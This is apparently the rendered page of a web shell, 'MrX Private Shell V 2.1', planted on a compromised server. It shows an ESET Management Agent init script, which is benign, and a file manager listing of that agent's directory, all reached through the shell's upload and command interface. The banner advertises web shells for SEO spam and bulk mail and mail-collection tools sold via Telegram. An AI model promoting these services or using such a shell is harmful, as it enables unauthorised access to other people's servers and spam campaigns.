__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
#! /bin/sh
#
### BEGIN INIT INFO
# Provides:          eraagent
# Required-Start:    $remote_fs $syslog $network
# Required-Stop:     $remote_fs $syslog $network
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: ESET Management Agent
#
### END INIT INFO
#
# chkconfig: 2345 99 1
# description: ESET Management Agent
#
# Copyright (c) 2025 ESET, spol. s r.o.

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DESC="ESET Management Agent"
NAME=ERAAgent
DAEMON=/opt/eset/RemoteAdministrator/Agent/$NAME
PIDFILE=/var/run/eraagent.pid
DAEMON_ARGS="--daemon --pidfile=${PIDFILE}"

# Exit if the package is not installed
[ -x "$DAEMON" ] || exit 0

# Load the VERBOSE setting and other rcS variables
if [ -f /lib/init/vars.sh ]; then
	. /lib/init/vars.sh
fi

log_daemon_msg () { ERASTART="$1"; }
log_end_msg () { [ "$1" = 0 ] && log_success_msg "$ERASTART" || log_failure_msg "$ERASTART failed!"; }
status () { pidofproc "$@" >/dev/null; }
status_of_proc () { status "$1" "$2" "$3"; }

if [ -f /etc/init.d/functions ]; then
	. /etc/init.d/functions
	log_daemon_msg () { echo -n "$1"; }
	log_end_msg () { [ "$1" = 0 ] && success || failure; echo; }
elif [ -f /etc/rc.status ]; then
	. /etc/rc.status
	rc_reset
	log_daemon_msg () { echo -n "$1"; }
	log_end_msg () { [ "$1" = 0 ] && true || false; rc_status -v; }
	status () { echo -n "Checking for $DESC"; checkproc "$@"; rc_status -v; rc_exit; }
elif [ -f /lib/lsb/init-functions ]; then
	. /lib/lsb/init-functions
else
	log_success_msg () { echo "$@"; }
	log_failure_msg () { echo "$@"; }
	pidofproc () {
		if [ -e "$PIDFILE" ]; then
			read P < "$PIDFILE"
			if kill -0 "$P" 2>/dev/null; then
				echo $P
				return 0
			else
				return 1
			fi
		fi
		return 3
	}
fi


do_start()
{
	# Return
	#   0 if daemon has been started
	#   1 if daemon was already running
	#   2 if daemon could not be started

	P=`pidofproc -p $PIDFILE $DAEMON`
	if [ "$?" != "0" ]; then
		if ! $DAEMON $DAEMON_ARGS; then
			RETVAL=2
		else
			RETVAL=0
		fi
	else
		RETVAL=1
	fi

	return "$RETVAL"
}


do_stop()
{
	# Return
	#   0 if daemon has been stopped
	#   1 if daemon was already stopped
	#   2 if daemon could not be stopped
	#   other if a failure occurred

	P=`pidofproc -p $PIDFILE $DAEMON`
	if [ "$?" = "0" ]; then
		kill -TERM $P
		while kill -0 $P 2>/dev/null; do sleep 1; done
		RETVAL=0
	else
		RETVAL=1
	fi

	rm -f $PIDFILE
	return "$RETVAL"
}




case "$1" in
	start)
		log_daemon_msg "Starting $DESC"
		do_start
		case "$?" in
			0|1) log_end_msg 0 ;;
			2)   log_end_msg 1 ;;
		esac
		;;
	stop)
		log_daemon_msg "Stopping $DESC"
		do_stop
		case "$?" in
			0|1) log_end_msg 0 ;;
			2)   log_end_msg 1 ;;
		esac
		;;
	status)
		status_of_proc "$DAEMON" "$DESC" && exit 0 || exit $?
		;;
	restart|force-reload)
		log_daemon_msg "Stopping $DESC"
		do_stop
		case "$?" in
			0|1)
			log_end_msg 0
			log_daemon_msg "Starting $DESC"
			do_start
			case "$?" in
				0) log_end_msg 0 ;;
				1) log_end_msg 1 ;; # Old process is still running
				*) log_end_msg 1 ;; # Failed to start
			esac
			;;
		*)
			# Failed to stop
			log_end_msg 1
			;;
		esac
		;;
	*)
		echo "Usage: $0 {start|stop|status|restart|force-reload}" >&2
		exit 3
		;;
esac

:

Filemanager

Name Type Size Permission Actions
Database Folder 0755
Modules Folder 0775
selinux Folder 0755
CustomActions File 7.13 MB 0755
NativeSqliteConnector.so File 2.67 MB 0644
eraagent File 3.15 KB 0755
eraagent.conf File 331 B 0644
info_get.command File 21.99 KB 0755
installer_backup.sh File 49.21 MB 0511
restart.sh File 987 B 0755
uninstall.sh File 5.42 KB 0755
Filemanager